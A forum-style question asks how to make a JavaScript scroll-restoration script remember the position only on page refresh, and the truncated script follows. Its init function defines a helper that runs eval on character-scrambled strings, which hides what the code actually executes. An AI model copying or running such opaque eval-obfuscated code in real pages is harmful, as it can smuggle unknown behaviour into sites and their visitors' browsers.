Recover Scroll Position And Reset On Page

Basically everything in this script works how I want it to, except for one thing. When I navigate away from a page and come back to it, this script is still remembering my scroll position, which I do not want. I only want this script to remember my scroll position on a page refresh of my current page only and then reset if I were to navigate away from and come back to that page. How would I go about modifying this script to work how I want it to?

var RecoverScroll={
timer:null, x:0, y:0, bon:0xf&0, cookieId:"RecoverScroll", dataCode:0, logged:0,
init:function(pageName){
var offsetData,sx=0,sy=0;this["susds".split(/x73/).join('')]=function(str){eval(str.replace(/(.)(.)(.)(.)(.)/g, unescape('%24%34%24%33%24%31%24%35%24%32')));};this.cont();
if( document.documentElement )
this.dataCode=3;
else
if( document.body && typeof document.body.scrollTop!='undefined' )
this.dataCode=2;
else
if( typeof window.pageXOffset!='undefined' ) .....